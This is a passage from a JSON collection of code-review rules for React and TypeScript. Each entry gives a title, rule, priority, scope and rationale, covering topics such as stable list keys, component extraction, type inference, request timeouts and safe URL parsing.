keys","rule":"Use stable, unique IDs from the data instead of array indices for React keys to ensure correct reconciliation and state preservation.","apiRule":"Use stable, unique IDs from the data instead of array indices for React keys to ensure correct reconciliation and state preservation. Using the array index as a key is unsafe if the list can be reordered, filtered, or mutated. If the order changes, React may incorrectly preserve component state (like inputs) or fail to update the DOM efficiently. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Indices are only acceptable if the list is completely static (read-only, fixed length, never reordered). Even then, prefer unique IDs if available.","whyItMatters":"Using the array index as a key is unsafe if the list can be reordered, filtered, or mutated. If the order changes, React may incorrectly preserve component state (like inputs) or fail to update the DOM efficiently.","priority":"p1","scope":"stack-specific"},{"title":"Prefer components over render helper functions","rule":"Avoid using helper functions to return JSX; extract them into standalone React components for better debugging and performance.","apiRule":"Avoid using helper functions to return JSX; extract them into standalone React components for better debugging and performance. Using a helper function (`renderStatusDot`) to return JSX bypasses React's component system. It doesn't show up in React DevTools, cannot use hooks efficiently, and treats the returned JSX as part of the parent's render output rather than a distinct unit. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against avoid-needless-wrappers-around-a-single-inline-element: promote a JSX-returning helper to a component when it has props, state, or non-trivial markup.","whyItMatters":"Using a helper function (`renderStatusDot`) to return JSX bypasses React's component system. It doesn't show up in React DevTools, cannot use hooks efficiently, and treats the returned JSX as part of the parent's render output rather than a distinct unit.","priority":"p1","scope":"stack-specific"},{"title":"Prefer function references over wrapper lambdas","rule":"Pass function references directly when arguments match, avoiding unnecessary anonymous wrapper functions.","apiRule":"Pass function references directly when arguments match, avoiding unnecessary anonymous wrapper functions. The anonymous function `(newPage) => setPage(newPage)` creates unnecessary verbosity. It simply forwards the argument to `setPage` without adding any logic. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Be careful when passing functions that accept more arguments than intended (e.g., `['1', '2'].map(parseInt)` fails because `map` passes index). For state setters, this is safe.","whyItMatters":"The anonymous function `(newPage) => setPage(newPage)` creates unnecessary verbosity. It simply forwards the argument to `setPage` without adding any logic.","priority":"p2","scope":"stack-specific"},{"title":"Replace repetitive switch rendering with configuration maps","rule":"Avoid repeating identical JSX structures inside switch statements; use a configuration object to map state to visual attributes.","apiRule":"Avoid repeating identical JSX structures inside switch statements; use a configuration object to map state to visual attributes. The code repeats the entire JSX structure for every case, changing only the class modifier and text. If the HTML structure changes (e.g., adding an icon or aria-label), you must update every case manually. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against avoid-premature-abstraction-over-small-repetition: replace a switch with a config map when several cases render near-identical JSX differing only by data.","whyItMatters":"The code repeats the entire JSX structure for every case, changing only the class modifier and text. If the HTML structure changes (e.g., adding an icon or aria-label), you must update every case manually.","priority":"p2","scope":"stack-specific"},{"title":"Derive state defaults from option constants","rule":"Avoid hardcoding initial state values that must correspond to a specific list of options; reference the options source directly.","apiRule":"Avoid hardcoding initial state values that must correspond to a specific list of options; reference the options source directly. Hardcoding the initial value creates a hidden dependency. If the configuration constant (`PAGE_SIZES`) changes, the hardcoded default might become invalid (e.g., if 10 is removed), leading to bugs or inconsistent UI states. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Hardcoding the initial value creates a hidden dependency. If the configuration constant (`PAGE_SIZES`) changes, the hardcoded default might become invalid (e.g., if 10 is removed), leading to bugs or inconsistent UI states.","priority":"p1","scope":"stack-specific"},{"title":"Avoid naming string identifiers as 'index'","rule":"Do not use the name 'index' for variables that hold string identifiers or keys, as it implies numeric position and order dependence.","apiRule":"Do not use the name 'index' for variables that hold string identifiers or keys, as it implies numeric position and order dependence. The variable name 'index' incorrectly suggests a numeric array position. This confuses the reader into thinking the logic depends on the order of elements, leading to unnecessary concerns about code fragility when reordering items. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The variable name 'index' incorrectly suggests a numeric array position. This confuses the reader into thinking the logic depends on the order of elements, leading to unnecessary concerns about code fragility when reordering items.","priority":"p2","scope":"universal"},{"title":"Prefer named keys over array indices for table columns","rule":"Avoid using numeric indices to identify columns during rendering; use stable string keys or enums to ensure readability and prevent regression when reordering.","apiRule":"Avoid using numeric indices to identify columns during rendering; use stable string keys or enums to ensure readability and prevent regression when reordering. Using a magic number (`index === 2`) to identify a specific column is brittle and unreadable. If the column order changes or a new column is inserted, the logic will apply to the wrong data or break completely. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using a magic number (`index === 2`) to identify a specific column is brittle and unreadable. If the column order changes or a new column is inserted, the logic will apply to the wrong data or break completely.","priority":"p2","scope":"stack-specific"},{"title":"Prefer objects over tuples for structured data","rule":"Use objects with named keys instead of arrays (tuples) to represent structured data rows to improve readability and maintainability.","apiRule":"Use objects with named keys instead of arrays (tuples) to represent structured data rows to improve readability and maintainability. Using arrays (tuples) to represent rows of data relies on implicit knowledge of index positions (e.g., index 0 is the date). This is brittle; adding or reordering columns breaks the logic and makes the code hard to read without constant reference to the mapping function. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using arrays (tuples) to represent rows of data relies on implicit knowledge of index positions (e.g., index 0 is the date). This is brittle; adding or reordering columns breaks the logic and makes the code hard to read without constant reference to the mapping function.","priority":"p2","scope":"stack-specific"},{"title":"Extract data preparation from JSX loops","rule":"Avoid performing complex data formatting or object creation inside JSX map callbacks; extract this logic into a separate helper function or prepare the data beforehand.","apiRule":"Avoid performing complex data formatting or object creation inside JSX map callbacks; extract this logic into a separate helper function or prepare the data beforehand. Defining variables and performing formatting logic inside the JSX `map` callback clutters the render method. It mixes data transformation with UI structure, making the component harder to read and the logic harder to test independently. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Defining variables and performing formatting logic inside the JSX `map` callback clutters the render method. It mixes data transformation with UI structure, making the component harder to read and the logic harder to test independently.","priority":"p2","scope":"stack-specific"},{"title":"Extract complex modal content into dedicated components","rule":"Move complex modal UI and its specific data transformation logic into separate components to improve readability and testability.","apiRule":"Move complex modal UI and its specific data transformation logic into separate components to improve readability and testability. Defining the Modal UI and its helper functions (like `getDetailRows`) inside the parent component bloats the file. It mixes the list logic with the detail view logic, making the parent hard to read and the modal hard to test in isolation. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Defining the Modal UI and its helper functions (like `getDetailRows`) inside the parent component bloats the file. It mixes the list logic with the detail view logic, making the parent hard to read and the modal hard to test in isolation.","priority":"p1","scope":"stack-specific"},{"title":"Freeze static collections with const assertions","rule":"Use `as const` on static arrays and objects to infer literal types and read-only tuples, preventing type widening.","apiRule":"Use `as const` on static arrays and objects to infer literal types and read-only tuples, preventing type widening. Defining an array without `as const` widens the type to `string[]`, losing the specific values and allowing mutation. This makes it impossible to use the values as a source of truth for types. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Defining an array without `as const` widens the type to `string[]`, losing the specific values and allowing mutation. This makes it impossible to use the values as a source of truth for types.","priority":"p2","scope":"stack-specific"},{"title":"Extract generic UI patterns into reusable components","rule":"Avoid implementing generic UI behaviors (like Modals, Drawers, or Tooltips) inline within feature components; extract them into reusable components.","apiRule":"Avoid implementing generic UI behaviors (like Modals, Drawers, or Tooltips) inline within feature components; extract them into reusable components. The component mixes domain logic (displaying invoices) with generic UI mechanics (handling overlay clicks, stopping propagation, positioning). This makes the code repetitive if you need another modal elsewhere and clutters the component. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against inline-trivial-single-use-wrappers: extract reusable patterns (modal, drawer, tooltip) that carry real behavior or recur across the app.","whyItMatters":"The component mixes domain logic (displaying invoices) with generic UI mechanics (handling overlay clicks, stopping propagation, positioning). This makes the code repetitive if you need another modal elsewhere and clutters the component.","priority":"p2","scope":"stack-specific"},{"title":"Extract imperative DOM logic into custom hooks","rule":"Move direct DOM manipulations like scroll locking or event listeners into named custom hooks to separate side effects from UI logic.","apiRule":"Move direct DOM manipulations like scroll locking or event listeners into named custom hooks to separate side effects from UI logic. The component directly manipulates the global `document` object inside `useEffect`. This mixes imperative side effects with declarative UI code, making the component harder to read and the logic impossible to reuse. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The component directly manipulates the global `document` object inside `useEffect`. This mixes imperative side effects with declarative UI code, making the component harder to read and the logic impossible to reuse.","priority":"p2","scope":"stack-specific"},{"title":"Prefer ReactNode props over render functions for static content","rule":"Define props as ReactNode or JSX.Element instead of render functions or Component types when the content does not rely on the component's internal state.","apiRule":"Define props as ReactNode or JSX.Element instead of render functions or Component types when the content does not rely on the component's internal state. Defining props as render functions (`() => JSX.Element`) or `ComponentType` creates unnecessary boilerplate at the usage site when no data needs to be passed from the child to the parent. It forces the consumer to wrap logic in functions or strictly match component interfaces. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Only use render props (functions) if you need to pass internal state from the child component back to the injected content (e.g., renderItem={(item) => ...}).","whyItMatters":"Defining props as render functions (`() => JSX.Element`) or `ComponentType` creates unnecessary boilerplate at the usage site when no data needs to be passed from the child to the parent. It forces the consumer to wrap logic in functions or strictly match component interfaces.","priority":"p2","scope":"stack-specific"},{"title":"Push subclass-specific logic down from base classes","rule":"Avoid defining methods in an abstract base class if they are only used by specific subclasses.","apiRule":"Avoid defining methods in an abstract base class if they are only used by specific subclasses. The base class contains methods that are only relevant to one specific subclass. This pollutes the interface of other subclasses (like SMSNotification) with unrelated logic and violates separation of concerns. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The base class contains methods that are only relevant to one specific subclass. This pollutes the interface of other subclasses (like SMSNotification) with unrelated logic and violates separation of concerns.","priority":"p1","scope":"stack-specific"},{"title":"Create dedicated transformation methods for distinct contexts","rule":"Do not reuse specific data transformation methods for unrelated use cases; create dedicated methods to ensure decoupling.","apiRule":"Do not reuse specific data transformation methods for unrelated use cases; create dedicated methods to ensure decoupling. The `asWidgetData` method reuses `asWebTeaser`, creating a hidden dependency. If the web teaser logic changes (e.g., to return a different image size), the widget logic breaks or behaves incorrectly. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Avoid mapping one DTO to another (e.g., `WebDTO` -> `WidgetDTO`). Always derive specific DTOs directly from the source entity to maintain clear separation of concerns. Exceptions: Balance against extract-duplicated-logic-shared-across-services: split into per-context methods when the contexts are semantically distinct and likely to diverge, even if code looks similar today.","whyItMatters":"The `asWidgetData` method reuses `asWebTeaser`, creating a hidden dependency. If the web teaser logic changes (e.g., to return a different image size), the widget logic breaks or behaves incorrectly.","priority":"p1","scope":"stack-specific"},{"title":"Derive union types from constant objects","rule":"Use `keyof typeof` to generate union types from constant objects to ensure a single source of truth and prevent synchronization errors.","apiRule":"Use `keyof typeof` to generate union types from constant objects to ensure a single source of truth and prevent synchronization errors. Manually defining a union type that mirrors the keys of an object creates a double maintenance burden. If the object changes but the type is not updated, it leads to bugs and inconsistency. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Manually defining a union type that mirrors the keys of an object creates a double maintenance burden. If the object changes but the type is not updated, it leads to bugs and inconsistency.","priority":"p1","scope":"stack-specific"},{"title":"Prefer specific union keys over generic string index signatures","rule":"Avoid typing maps as `Record<string, T>` when the keys are a finite known set; use `as const` or explicit unions to enforce strict key validation.","apiRule":"Avoid typing maps as `Record<string, T>` when the keys are a finite known set; use `as const` or explicit unions to enforce strict key validation. Using `Record<string, string>` tells TypeScript that *any* string is a valid key. This disables type checking for typos or missing keys, leading to potential runtime errors when accessing undefined properties. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using `Record<string, string>` tells TypeScript that *any* string is a valid key. This disables type checking for typos or missing keys, leading to potential runtime errors when accessing undefined properties.","priority":"p1","scope":"stack-specific"},{"title":"Extract side effects and data fetching into custom hooks","rule":"Move data fetching, subscriptions, and complex state logic into custom hooks to keep components focused on presentation.","apiRule":"Move data fetching, subscriptions, and complex state logic into custom hooks to keep components focused on presentation. The component mixes imperative data fetching logic, state management, and error handling with declarative UI rendering. This makes it harder to read, test, and reuse the fetching logic elsewhere. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The component mixes imperative data fetching logic, state management, and error handling with declarative UI rendering. This makes it harder to read, test, and reuse the fetching logic elsewhere.","priority":"p2","scope":"stack-specific"},{"title":"Define explicit return types for custom hooks","rule":"Always define and export an explicit interface for custom hook return values using the `[HookName]Payload` naming convention.","apiRule":"Always define and export an explicit interface for custom hook return values using the `[HookName]Payload` naming convention. Relying on type inference for the return value makes the API contract unclear. Changes to the internal logic might accidentally change the return type, causing issues for consumers. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against infer-loader-data-types-from-implementation: declare explicit return types for custom hooks consumed across modules; the contract must be stable.","whyItMatters":"Relying on type inference for the return value makes the API contract unclear. Changes to the internal logic might accidentally change the return type, causing issues for consumers.","priority":"p2","scope":"stack-specific"},{"title":"Identify aborted requests by error type","rule":"Check for 'AbortError' explicitly in catch blocks instead of relying on signal state to handle cancellations.","apiRule":"Check for 'AbortError' explicitly in catch blocks instead of relying on signal state to handle cancellations. Checking `!signal.aborted` inside `.catch()` is semantically incorrect and potentially unreliable. It relies on shared state rather than the specific error object that caused the rejection. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. In `.then()` blocks, checking `!signal.aborted` is still acceptable to prevent state updates after unmount if the promise resolved before abortion.","whyItMatters":"Checking `!signal.aborted` inside `.catch()` is semantically incorrect and potentially unreliable. It relies on shared state rather than the specific error object that caused the rejection.","priority":"p1","scope":"stack-specific"},{"title":"Abstract date parsing logic into utilities","rule":"Avoid manually parsing date strings with `new Date()` or `split()` due to timezone ambiguity and fragility. Use centralized utilities instead.","apiRule":"Avoid manually parsing date strings with `new Date()` or `split()` due to timezone ambiguity and fragility. Use centralized utilities instead. Using `new Date(string)` on purely date strings (YYYY-MM-DD) creates timezone ambiguity (UTC vs Local), often leading to off-by-one errors. Manual string splitting is brittle and verbose. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Libraries like `date-fns` or `dayjs` are recommended over native `Date` manipulation for complex logic.","whyItMatters":"Using `new Date(string)` on purely date strings (YYYY-MM-DD) creates timezone ambiguity (UTC vs Local), often leading to off-by-one errors. Manual string splitting is brittle and verbose.","priority":"p2","scope":"universal"},{"title":"Consolidate global type augmentations","rule":"Centralize global type declarations in a single file and only define properties that are strictly consumed.","apiRule":"Centralize global type declarations in a single file and only define properties that are strictly consumed. Creating a separate file for a minor augmentation clutters the project structure. Defining the entire shape of the external object (including unused fields like 'email' or 'preferences') increases maintenance burden without adding value. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Creating a separate file for a minor augmentation clutters the project structure. Defining the entire shape of the external object (including unused fields like 'email' or 'preferences') increases maintenance burden without adding value.","priority":"p1","scope":"stack-specific"},{"title":"Avoid defensive checks for required globals in effects","rule":"useEffect runs only in the browser, so checking for window is redundant. Avoid silently skipping logic if required globals are missing; rely on strict types or fail loudly.","apiRule":"useEffect runs only in the browser, so checking for window is redundant. Avoid silently skipping logic if required globals are missing; rely on strict types or fail loudly. Checking 'typeof window' inside useEffect is redundant code bloat. Additionally, wrapping critical logic in defensive 'if' checks causes the feature to fail silently if the configuration is missing, hiding integration bugs. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If a global property is truly optional, mark it as optional in the TypeScript interface definition (e.g., `user?: User`) instead of adding runtime checks that contradict the types.","whyItMatters":"Checking 'typeof window' inside useEffect is redundant code bloat. Additionally, wrapping critical logic in defensive 'if' checks causes the feature to fail silently if the configuration is missing, hiding integration bugs.","priority":"p1","scope":"stack-specific"},{"title":"Prefer null over sentinel values for missing state","rule":"Use null or undefined to explicitly represent missing data instead of magic strings to simplify truthiness checks and avoid ambiguity.","apiRule":"Use null or undefined to explicitly represent missing data instead of magic strings to simplify truthiness checks and avoid ambiguity. Using a magic string like '#' to represent the absence of a value is brittle and requires verbose checks (`!== '#'`). It confuses valid data with placeholder values. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using a magic string like '#' to represent the absence of a value is brittle and requires verbose checks (`!== '#'`). It confuses valid data with placeholder values.","priority":"p1","scope":"stack-specific"},{"title":"Explicitly type useState with null initial value","rule":"Prevent type narrowing to 'null' by explicitly defining the generic type when initializing state with null.","apiRule":"Prevent type narrowing to 'null' by explicitly defining the generic type when initializing state with null. When `useState` is initialized with `null` without a generic type, TypeScript infers the state type as strictly `null`. This makes it impossible to update the state with actual data later, causing type errors. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"When `useState` is initialized with `null` without a generic type, TypeScript infers the state type as strictly `null`. This makes it impossible to update the state with actual data later, causing type errors.","priority":"p1","scope":"stack-specific"},{"title":"Assume universal support for AbortController","rule":"Avoid defensive feature detection for AbortController as it is supported in all modern browsers and Node.js.","apiRule":"Avoid defensive feature detection for AbortController as it is supported in all modern browsers and Node.js. Defensively checking for 'AbortController' is outdated and adds unnecessary noise. All modern browsers and active Node.js versions support it natively. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Defensively checking for 'AbortController' is outdated and adds unnecessary noise. All modern browsers and active Node.js versions support it natively.","priority":"p2","scope":"universal"},{"title":"Rely on TypeScript inference for primitive state initialization","rule":"Avoid explicit generic type arguments for `useState` when the type can be correctly inferred from the initial primitive value.","apiRule":"Avoid explicit generic type arguments for `useState` when the type can be correctly inferred from the initial primitive value. Explicitly adding generic types like `<number>` or `<string>` is redundant when initializing with a primitive. It adds visual noise without improving type safety. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Explicit types are only necessary when the initial value is `null`, `undefined`, or an empty array (where inference might be `never[]`), or when using Union types. Exceptions: Balance against explicit-function-return-types: rely on inference for local useState and obvious primitives where an explicit annotation adds only noise.","whyItMatters":"Explicitly adding generic types like `<number>` or `<string>` is redundant when initializing with a primitive. It adds visual noise without improving type safety.","priority":"p2","scope":"stack-specific"},{"title":"Prefer a compute helper over raw IIFEs in JSX","rule":"Use a utility function to execute inline logic immediately instead of noisy IIFE syntax inside JSX props.","apiRule":"Use a utility function to execute inline logic immediately instead of noisy IIFE syntax inside JSX props. Using a raw Immediately Invoked Function Expression (IIFE) inside JSX creates visual clutter with trailing parentheses `()`, making the code harder to read. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. While extracting complex logic into named variables is often preferred, `compute` is an excellent alternative when the logic is strictly presentational and should remain co-located with the JSX. Exceptions: Balance against prefer-const-with-iife-over-mutable-let: prefer a named compute helper when the init logic is non-trivial or reused, especially inside JSX.","whyItMatters":"Using a raw Immediately Invoked Function Expression (IIFE) inside JSX creates visual clutter with trailing parentheses `()`, making the code harder to read.","priority":"p2","scope":"stack-specific"},{"title":"Enforce timeouts on network requests","rule":"Always attach an AbortController signal to fetch requests to prevent indefinite hanging on slow networks.","apiRule":"Always attach an AbortController signal to fetch requests to prevent indefinite hanging on slow networks. The fetch request lacks a timeout mechanism. If the server hangs or the connection drops silently, the application will wait indefinitely, leading to frozen UI states and resource exhaustion. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The fetch request lacks a timeout mechanism. If the server hangs or the connection drops silently, the application will wait indefinitely, leading to frozen UI states and resource exhaustion.","priority":"p1","scope":"universal"},{"title":"Validate dependencies inside useEffect","rule":"Always add guard clauses inside useEffect to check if required dependencies exist before performing expensive operations like data fetching.","apiRule":"Always add guard clauses inside useEffect to check if required dependencies exist before performing expensive operations like data fetching. The effect runs immediately when the component mounts or `userId` changes, even if `userId` is missing. This results in unnecessary network requests (e.g., fetching `/api/users/undefined`) and potential 404 errors. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The effect runs immediately when the component mounts or `userId` changes, even if `userId` is missing. This results in unnecessary network requests (e.g., fetching `/api/users/undefined`) and potential 404 errors.","priority":"p1","scope":"stack-specific"},{"title":"Avoid naming files 'Types' if they export runtime values","rule":"Files named '*.types.ts' should strictly contain type definitions. If they export runtime values, rename them to '*.constants.ts' or the domain name.","apiRule":"Files named '*.types.ts' should strictly contain type definitions. If they export runtime values, rename them to '*.constants.ts' or the domain name. The filename 'ArticleTypes' suggests it only contains TypeScript definitions and will be erased at runtime. Including runtime constants like 'ARTICLE_CATEGORIES' violates this expectation. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The filename 'ArticleTypes' suggests it only contains TypeScript definitions and will be erased at runtime. Including runtime constants like 'ARTICLE_CATEGORIES' violates this expectation.","priority":"p2","scope":"stack-specific"},{"title":"Validate inputs and handle upstream 404s in providers","rule":"Always validate required arguments before using them in external requests and explicitly handle upstream 404 responses to distinguish missing data from errors.","apiRule":"Always validate required arguments before using them in external requests and explicitly handle upstream 404 responses to distinguish missing data from errors. The code constructs a URL and fetches data without validating the input `id` or checking the response status. If `id` is missing or the upstream service returns a 404, the application may crash during JSON parsing or return invalid data. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The code constructs a URL and fetches data without validating the input `id` or checking the response status. If `id` is missing or the upstream service returns a 404, the application may crash during JSON parsing or return invalid data.","priority":"p0","scope":"stack-specific"},{"title":"Terminate invalid requests with explicit HTTP errors","rule":"Return a 4xx response immediately when validation fails instead of calling next(), which passes control to subsequent handlers.","apiRule":"Return a 4xx response immediately when validation fails instead of calling next(), which passes control to subsequent handlers. Calling `next()` when input validation fails causes the request to fall through to subsequent routes or the 404 handler. This obscures the actual error (bad input) and confuses the client. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Calling `next()` when input validation fails causes the request to fall through to subsequent routes or the 404 handler. This obscures the actual error (bad input) and confuses the client.","priority":"p0","scope":"stack-specific"},{"title":"Safeguard URL instantiation with try-catch","rule":"Wrap `new URL()` calls in try-catch blocks to prevent runtime crashes from malformed strings.","apiRule":"Wrap `new URL()` calls in try-catch blocks to prevent runtime crashes from malformed strings. Directly calling `new URL()` with dynamic input allows invalid strings to throw an error. This unhandled exception bubbles up and can crash the entire component tree or application. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Even with protocol checks (like regex), `new URL()` can still fail on specific malformed characters or incomplete strings.","whyItMatters":"Directly calling `new URL()` with dynamic input allows invalid strings to throw an error. This unhandled exception bubbles up and can crash the entire component tree or application.","priority":"p1","scope":"universal"},{"title":"Handle fallible derivations safely outside JSX","rule":"Wrap logic that might throw errors (like URL parsing) in safe handlers outside JSX to prevent component crashes.","apiRule":"Wrap logic that might throw errors (like URL parsing) in safe handlers outside JSX to prevent component crashes. Calling functions that can throw exceptions (like `new URL()`) directly inside JSX is unsafe. If the input is invalid, the error will bubble up and unmount the entire component tree (or crash the app), offering no fallback UI. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Calling functions that can throw exceptions (like `new URL()`) directly inside JSX is unsafe. If the input is invalid, the error will bubble up and unmount the entire component tree (or crash the app), offering no fallback UI.","priority":"p1","scope":"stack-specific"},{"title":"Prefer visual loading states over null","rule":"Always render a visual indicator (spinner or skeleton) during data fetching instead of returning null to improve user experience.","apiRule":"Always render a visual indicator (spinner or skeleton) during data fetching instead of returning null to improve user experience. Returning null during a loading state causes the component to vanish, potentially causing layout shifts or making the app appear unresponsive/broken. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Skeletons are generally preferred over spinners for larger content blocks as they reduce the perceived load time by mimicking the final layout.","whyItMatters":"Returning null during a loading state causes the component to vanish, potentially causing layout shifts or making the app appear unresponsive/broken.","priority":"p1","scope":"stack-specific"},{"title":"Include context in error logs","rule":"Always include relevant identifiers (IDs, slugs, keys) in error messages to facilitate debugging and reproduction.","apiRule":"Always include relevant identifiers (IDs, slugs, keys) in error messages to facilitate debugging and reproduction. The error message is generic. If this error appears in logs, you won't know which specific product ID caused the failure, making reproduction difficult. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The error message is generic. If this error appears in logs, you won't know which specific product ID caused the failure, making reproduction difficult.","priority":"p1","scope":"universal"},{"title":"Encapsulate data fetching in dedicated Providers","rule":"Centralize data access and transformation logic within dedicated Provider classes instead of loose functions or inline logic.","apiRule":"Centralize data access and transformation logic within dedicated Provider classes instead of loose functions or inline logic. Using loose functions for data fetching scatters logic across the codebase, making it harder to maintain state, handle configuration, or mock dependencies for testing. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using loose functions for data fetching scatters logic across the codebase, making it harder to maintain state, handle configuration, or mock dependencies for testing.","priority":"p1","scope":"stack-specific"},{"title":"Prefer optional chaining for nested property access","rule":"Use the optional chaining operator (?.) to access deeply nested properties instead of verbose logical AND checks.","apiRule":"Use the optional chaining operator (?.) to access deeply nested properties instead of verbose logical AND checks. Using repeated logical AND (&&) operators to guard against null/undefined values is verbose and repetitive. It creates visual noise and makes the code harder to read and modify. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against drop-optional-chaining-after-narrowing: use optional chaining when the value may genuinely be null/undefined at that access point.","whyItMatters":"Using repeated logical AND (&&) operators to guard against null/undefined values is verbose and repetitive. It creates visual noise and makes the code harder to read and modify.","priority":"p2","scope":"stack-specific"},{"title":"Prefer readable steps over complex single-line returns","rule":"Avoid dense one-liners involving multiple logic branches or string manipulations; break them into distinct, named steps for clarity.","apiRule":"Avoid dense one-liners involving multiple logic branches or string manipulations; break them into distinct, named steps for clarity. This one-liner attempts to normalize the protocol, check for existing query parameters, and append a new one all at once. It is visually dense, hard to debug, and prone to syntax errors like missing delimiters. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against prefer-method-chaining-for-fluent-apis: break into named steps when the expression mixes multiple branches or string logic, not when it's a clean builder chain.","whyItMatters":"This one-liner attempts to normalize the protocol, check for existing query parameters, and append a new one all at once. It is visually dense, hard to debug, and prone to syntax errors like missing delimiters.","priority":"p2","scope":"universal"},{"title":"Avoid magic strings in control flow","rule":"Use named constants or enums instead of raw string literals in conditional logic to prevent typos and ease refactoring.","apiRule":"Use named constants or enums instead of raw string literals in conditional logic to prevent typos and ease refactoring. Hardcoding string literals like 'bjellesauerApp' directly in the control flow makes the code error-prone. A single typo will break the logic, and searching for all occurrences during refactoring is manual and risky. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Hardcoding string literals like 'bjellesauerApp' directly in the control flow makes the code error-prone. A single typo will break the logic, and searching for all occurrences during refactoring is manual and risky.","priority":"p2","scope":"stack-specific"},{"title":"Prefer URL object for query parameter construction","rule":"Use the native URL and URLSearchParams APIs to build query strings instead of manual string concatenation or array joining.","apiRule":"Use the native URL and URLSearchParams APIs to build query strings instead of manual string concatenation or array joining. Manual string concatenation is brittle and error-prone. You must remember to manually encode every value using `encodeURIComponent`, and managing delimiters (`?`, `&`) becomes messy as complexity grows. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Note: Do not manually `encodeURIComponent` when using `url.searchParams.set()`, as the method performs encoding automatically. Doing so would result in double encoding.","whyItMatters":"Manual string concatenation is brittle and error-prone. You must remember to manually encode every value using `encodeURIComponent`, and managing delimiters (`?`, `&`) becomes messy as complexity grows.","priority":"p2","scope":"universal"},{"title":"Prefer null over defaults for missing data","rule":"Use null to explicitly represent missing values in API responses instead of ambiguous defaults like empty strings or zeroes.","apiRule":"Use null to explicitly represent missing values in API responses instead of ambiguous defaults like empty strings or zeroes. Using empty strings (`''`) or zeroes (`0`) as fallbacks for missing data creates ambiguity. The consumer cannot distinguish between a legitimate empty value (e.g., a free product) and missing data (e.g., price not set). Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against default-instead-of-throwing-on-missing-optional-config: use null when downstream must distinguish 'absent' from a real value, especially in API responses.","whyItMatters":"Using empty strings (`''`) or zeroes (`0`) as fallbacks for missing data creates 